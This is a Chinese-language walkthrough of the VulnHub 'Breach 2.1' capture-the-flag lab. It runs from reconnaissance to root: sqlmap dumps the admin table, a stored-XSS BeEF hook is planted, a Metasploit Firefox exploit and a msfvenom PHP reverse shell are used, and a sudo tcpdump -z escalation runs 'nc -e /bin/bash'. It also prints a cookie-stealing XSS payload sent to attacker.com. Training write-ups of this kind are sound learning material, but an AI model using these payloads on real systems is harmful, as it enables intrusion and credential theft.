前情提要:

靶机地址:https://www.vulnhub.com/entry/breach-21,159/(需要梯子否则域名会跳转至别处)

kali地址:https://www.kali.org/get-kali/#kali-platforms(可能需要梯子)

靶机版本:Breach-2_final2.1

kali版本:kali-linux-2024.4-vmware-amd64

虚拟机平台:VMware Workstation PRO 17

网卡模式:仅主机

kali IP:192.168.110.150

靶机 IP:192.168.110.151

靶机介绍:

靶机概述

  • 难度:中等难度。

  • 发布时间:2016年8月15日。

  • 设计目的:用于渗透测试和CTF挑战,模拟真实场景中的网络安全问题,帮助测试人员提升漏洞挖掘和利用能力。

靶机功能与用途

  • 信息收集与漏洞探测:靶机配置了静态IP,需要攻击者通过扫描工具进行主机发现和端口扫描,收集开放端口和服务版本等信息。

  • Web渗透与漏洞利用:靶机开放了80端口的Web服务,存在SQL注入、XSS等漏洞,攻击者可以通过工具进行漏洞利用。

  • 权限提升与系统控制:通过利用Web漏洞获取shell后,进一步在系统内部进行权限提升,访问关键文件和数据。

  • 数据包嗅探与分析:利用网络服务中的明文传输特点,通过嗅探数据包获取敏感信息,如用户名和密码。

靶机特点

  • 动态端口开放:靶机的某些服务端口会在特定条件下开放,增加了信息收集的复杂性和趣味性。

  • 多阶段挑战:需要攻击者逐步深入,从信息收集到漏洞利用,再到权限提升,每个阶段都有不同的挑战和知识点。

  • 真实场景模拟:模拟真实网络环境中的服务器,具有开放的常用端口(如SSH、HTTP等),提供常见的网络服务。

常用工具与技术

  • 信息收集工具:如nmap用于端口扫描,dirbuster用于目录扫描。

  • 漏洞利用工具:如sqlmap用于SQL注入,Burp Suite用于Web漏洞测试。

  • 数据包分析工具:如tcpdump用于嗅探数据包。

  • 权限提升技术:通过利用系统漏洞或配置错误来实现权限提升。

渗透开始:

信息收集:

目前已知目标靶机IP地址192.168.110.151,现在使用nmap工具对主机进行扫描。

打开控制台切换用户sudu su输入kali账户的密码,接着使用-sS -sV -T4 -A -p-这些参数扫描。

输入nmap -sS -sV -T4 -A -p- 192.168.110.151 回车执行 . . . 等待 . . .

-sS进行TCP SYN扫描(半开扫描)

-sV启用服务版本检测

-T4设置扫描速度为侵略性模式

-A启用操作系统检测

-p-扫描所有端口

image-ikpa.png

发现ssh服务,端口在65535 尝试连接看看,输入ssh 192.168.110.151 -p 65535 回车执行

image1.png

发现用户名Peter 密码inthesource 我们使用peter账号连接,输入ssh peter@192.168.110.151 -p 65535

image2.png

被拒绝了?关闭了?想想应该是进去了,但执行了某个脚本,打印了后面两句话后关闭了服务,我们再次扫描靶机看看。

输入nmap 192.168.110.151 并执行,发现80端口开放http服务打开了。

image3.png

访问一下看看网页上有什么吧

image4.png

网页上图片中显示BEEF的字样,是一款功能强大的浏览器渗透测试框架。看看源码,发现注释:

I like hints! Here at Initech we don't trust our users and either should you!

I'm not just going to stick creds here, really, I'm not. Sorry

我喜欢提示!在Initech,我们不信任我们的用户,你也不应该信任!

我不会只是在这里坚守信念,真的,我不会。很抱歉。

还是没什么有用线索,不过BEEF给了我提示,说明不止这一个网页,我们要找到一个能够注入恶意代码的网页。

爆破一下,使用dirb工具对该网站根目录实施扫描,输入dirb http://192.168.110.151 并执行。

image5.png

发现有一个博客目录blog是博客的意思,访问看看

image6.png


挖掘与验证漏洞:

确实是个博客网站,发现输入框!秉承着见框就插的原则,在框内插入XSS语句:<script>alert('反射型(xss)')</script>,测试看看有没有注入漏洞,点击GO

image7.png

发现插入xss的语句会传入get传参中,前端没有做过滤,存在XSS恶意代码注入漏洞

我们进行SQL注入找到管理员的账户和密码,输入:sqlmap -u http://192.168.110.151/blog/index.php?search=111 -D oscommerce -Tosc_administrators --dump 并执行

image8.png

image9.png

获取到了管理员账户admin和md5加密后的密码685cef95aa31989f2edae5e055ffd2c9:32

685cef95aa31989f2edae5e055ffd2c9”是哈希值,“32”是盐值。

image10.png

使用https://www.somd5.com/输入密文,解密后获得32admin前面的32不用管后面的admin才是密码!线索断了,现在回去搜索博客系统看看有没有什么线索

image11.png

image12.png

blogphp

该博客系统版本存在存储型XSS,在注册页面用户名的地方输入XSS攻击语句就可以成功攻击


XSS漏洞介绍

什么是XSS漏洞

XSS(Cross-Site Scripting,跨站脚本攻击)是一种安全漏洞,通常出现在Web应用程序中。攻击者通过在Web页面中注入恶意脚本,当其他用户浏览该页面时,恶意脚本会在其浏览器中执行,从而达到攻击的目的。XSS漏洞可以分为反射型XSS、存储型XSS和DOM型XSS三种类型。

XSS漏洞的分类

  • 反射型XSS:攻击者构造一个包含恶意脚本的URL,诱使用户点击链接,触发XSS代码。

  • 存储型XSS:攻击者在存在漏洞的网站提交构造的XSS代码,当用户访问该页面时,恶意脚本被执行。

  • DOM型XSS:攻击者构造一个包含恶意代码的URL,当用户访问时,浏览器解析HTML并构建DOM树,恶意脚本通过修改DOM在用户的浏览器上执行。

XSS漏洞的利用方式

  • 窃取用户Cookie:通过恶意脚本获取用户的Cookie信息,进而冒充用户身份。

  • 会话劫持:攻击者通过XSS漏洞获取用户的会话ID,从而劫持用户的会话。

  • 篡改页面内容:恶意脚本可以修改页面内容,欺骗用户或引导用户进行某些操作。

  • 钓鱼攻击:构造虚假的登录页面,诱使用户输入敏感信息。

XSS漏洞的防御措施

  • 输入验证和过滤:对用户输入的数据进行严格的验证和过滤,确保只接受预期的数据类型和格式。

  • 输出编码:对输出的内容进行适当的编码,避免恶意脚本被浏览器解析执行。

  • 使用HTTP头部策略:设置Content-Security-Policy (CSP)来限制网页加载的资源来源,设置HttpOnly标志以防止JavaScript访问某些敏感的Cookie。

  • 限制脚本执行:避免在页面上使用危险的JavaScript函数,如eval()document.write()等。

  • 内容安全策略(CSP):通过设置default-src'self',只允许加载来自同一源的资源,限制脚本的加载来源。

  • 使用现代框架和库:在前端框架中,尽量使用框架提供的安全功能,如Vue中的v-bind或React的dangerouslySetInnerHTML

实战案例

假设你发现了一个Web应用存在XSS漏洞,可以通过以下步骤进行验证和利用:

  1. 发现漏洞

    • 使用工具如Burp Suite截获HTTP请求。

    • 在请求参数中注入测试payload,如<script>alert(1)</script>

    • 如果页面弹出alert对话框,则说明存在XSS漏洞。

  2. 利用漏洞

    • 构造恶意脚本,如窃取Cookie:

      JavaScript复制

      <script>
        document.location = "http://attacker.com/steal?" + document.cookie;
      </script>
    • 将恶意脚本注入到目标页面,可以通过反射型或存储型XSS实现。

  3. 防御措施

    • 在服务器端对用户输入进行过滤和验证。

    • 在前端对输出内容进行编码。

    • 设置CSP策略,限制脚本来源。


攻击漏洞:

使用beef和msfconsole反弹shell,终端输入beef-xss打开工具,上面显示的Web UI (beef web页面)、Hook (钩子)、Example (示例)

复制Hook<IP> 替换成kaliIP 我的是192.168.110.150

image13.png

点击右侧菜单栏中的register注册新用户,将执行语句<script src="http://192.168.110.150:3000/hook.js"></script>嵌入用户名处(下面我做错了,图片里的IP是不对的),剩下的密码和邮箱随便输入,没有有效性检查,填完表单后点击Register完成注册

image14.png

注册后点击Members看不见用户名就说明恶意代码已嵌入成功了

image15.png

随后回到Home点击Archive

image16.png

切换至beef-xss中查看,发现浏览器是Firefox15.0版本,Mozilla Firefox ESR 15内存破坏漏洞(CVE-2012-3982)可导致任意代码执行

image17.png


CVE-2012-3982漏洞介绍

漏洞概述

CVE-2012-3982是浏览器引擎中的一个内存破坏漏洞,存在于Mozilla Firefox、Thunderbird、SeaMonkey等产品中。该漏洞允许远程攻击者通过构造恶意的Web页面,诱使用户访问,从而导致浏览器内存损坏,可能造成拒绝服务(如浏览器崩溃)或执行任意代码。

漏洞详情

  • 漏洞成因:该漏洞源于浏览器引擎处理特定输入时的未知缺陷,导致内存破坏。攻击者可以利用这些缺陷执行任意代码或使应用程序崩溃。

  • 影响范围:包括Mozilla Firefox 16.0之前版本、Thunderbird 16.0之前版本、SeaMonkey 2.13之前版本等。

  • 利用方式:攻击者可以构建恶意网页,诱使用户访问,从而触发漏洞。成功利用该漏洞可能导致远程执行代码或拒绝服务攻击。

修复建议

  • 更新软件:建议用户将受影响的软件更新到最新版本,以修复该漏洞。

  • 应用补丁:对于无法立即更新的系统,应尽快应用相关的安全补丁。

参考链接


打开msfconsole工具,输入msfconsole并执行,选择要利用的exp框架

use exploit/multi/browser/firefox_proto_crmfrequest
show options
set payload generic/shell_reverse_tcp
set srvhost 192.168.110.150
set uripath shell
set lhost 192.168.110.150

image18.png

切换至Beef-xss工具中,在Online Browsers中选中靶机IP,点击菜单栏中的Commands,在搜索框中搜索red选择Redirect Browser

接着在URL输入框中输入MSF工具生成的URL 然后点击Execute执行

image19.png

稍等片刻......MSF工具有反馈了,说明代码执行成功,反弹shell了

image20.png

心急吃不了热豆腐,浏览器获取的Shell并不持久,连上一会就断了,所以我们要做持续化,现在将Shell转移至MSF中。

use post/multi/manage/shell_to_meterpreter    #选择框架
sessions          #查看Shell的ID
show options      #查看需要填写的参数
set session 1     #将之前查看的ID填入
exploit           #运行

随后再次输入sessions查看发现多出了一个ID为2的Shell,用户为peter

输入sessions -i 2连接Shell,再输入shell进入bash界面,最后输入id或者whoami看看用户

image21.png

是不是觉得有些奇怪?没事,如果你不能适应则输入并执行python -c 'import pty; pty.spawn("/bin/bash")' 这行命令的作用是通过 Python 的 pty 模块启动一个新的 Bash shell。这个命令通常用于在受限的环境中(如某些渗透测试场景)获取一个交互式的 shell 提示符。

输入netstat -ntulp查看靶机的端口占用情况,发现有一个本地才能访问的端口2323,上面的3306是MySQL服务的之前的SQL注入证明了有这个服务。

image22.png

我们输入telnet 127.0.0.1 2323连接看看

image23.png

获得一个坐标,上Google地图搜索看看,坐标是一个公园:Houston Police Department Memorial

image25.png

猜测和密码相关,或者用户名,我们输入cat /etc/passwd查看一下有哪些用户吧

image24.png

发现“blumbergh”和“milton”两个用户,将Houston作为miltonblumbergh的密码进行尝试登录

image26.png

通过验证发现是milton用户的密码,但又问了一句:Whose stapler is it?(这是谁的订书机)

寻找关于milton用户的文件,输入find /usr -user milton找到一个名为cd.py的文件

image27.png

通过查看脚本得知问题的答案是mine 我们重新连接回答问题

image28.png

成功登录milton用户,再次查看端口占用情况,发现启动了一个8888端口,访问后发现是个网站目录页,点击oscommerce

image29.png

上面两个网页都没什么利用价值,我们直接上扫描,输入dirb http://192.168.110.151:8888/并执行

image30.png

爆破发现后台登录地址,访问后输入之前sql拿到的管理员账户和密码

image31.png

登录后,点击Tools (工具) 选择File Manager (文件管理),找有写入权限的目录,includes–>work目录

image32.png

!!!提示!!! 如果kali登录的用户是普通用户则切换至home目录或者其他有权限访问的地方,否则上传时无法进入脚本存放的文件夹

制作反弹shell脚本,输入msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.110.150 LPORT=8888 -f raw > shell.php并执行

image33.png

打开MSF工具,开始监听

use exploit/multi/handler                  #使用exp监听模块
set payload php/meterpreter/reverse_tcp    #使用payload为之前生成后门所用的payload
set lhost 192.168.110.150    #接收shell的ip
set lport 8888               #监听端口

image34.png

点击Upload上传shell.php脚本

image35.png

image36.png

上传后,在浏览器中访问shell.php,访问的url为:http://192.168.110.151:8888/oscommerce/includes/work/shell.php访问之后,msf顺利接收到shell,然后提权。

image37.png

发现root不需要密码的命令为tcpdump,监听2025端口

image38.png

制作提权脚本

echo "nc 192.168.110.5 2021 -e /bin/bash"> /tmp/shell.sh    #在/tmp目录下写入shell.sh脚本
chmod +x /tmp/shell.sh    #添加执行权限
sudo /usr/sbin/tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root    #使用tcpdump命令运行此脚本

image39.png

账户提权成功!

监听到shell已反弹,权限是root,切换至~路径下,然后输入ls-la找到了隐藏文件flag.py

image40.png

输入python .flag.py运行flag.py查看结算画面

image41.png